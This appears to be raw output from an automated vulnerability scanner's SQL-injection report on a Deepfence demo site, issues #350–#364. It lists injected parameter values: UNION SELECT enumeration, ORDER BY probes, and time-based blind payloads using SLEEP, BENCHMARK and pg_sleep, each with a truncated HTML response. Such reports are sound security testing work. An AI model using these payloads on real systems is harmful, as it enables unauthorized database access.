__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #350
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 22--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #351
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A')),
4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #352
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io;
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #353
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title>
DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script language
="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </
script> <!-- Start of Zendesk Widget script --> <!-- <script id="ze-snippet
" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-
aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget script --> <!-
- Bootstrap CSS --> <link rel="shortcut icon" type="image/png" href="data:
image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSB
JbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCgA
QIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary 
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #354
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io' o/**/r 1/0 --
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #355
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ORDER BY 1,SLEEP(5),BENCHMARK(1000000,MD5('A'))
,4,5,6,7,8,9,10,11,12,13
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #356
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL SELECTCHAR(88)
+CHAR(88)+CHAR(88)+CHAR(88)+CHAR(88)))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #357
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 1,2,3#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #358Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io' or pg_sleep(5)--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #359
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 22
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #360
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 24#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #361
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io ")) or benchmark(10000000,MD5(1))#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #362
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #363
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io\
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #364
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified Name ValueParameters demouser@deepfence.io UNION ALL SELECT @@VERSION,USER(),SLEEP(5),
BENCHMARK(1000000,MD5('A')),NULL,NULL--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
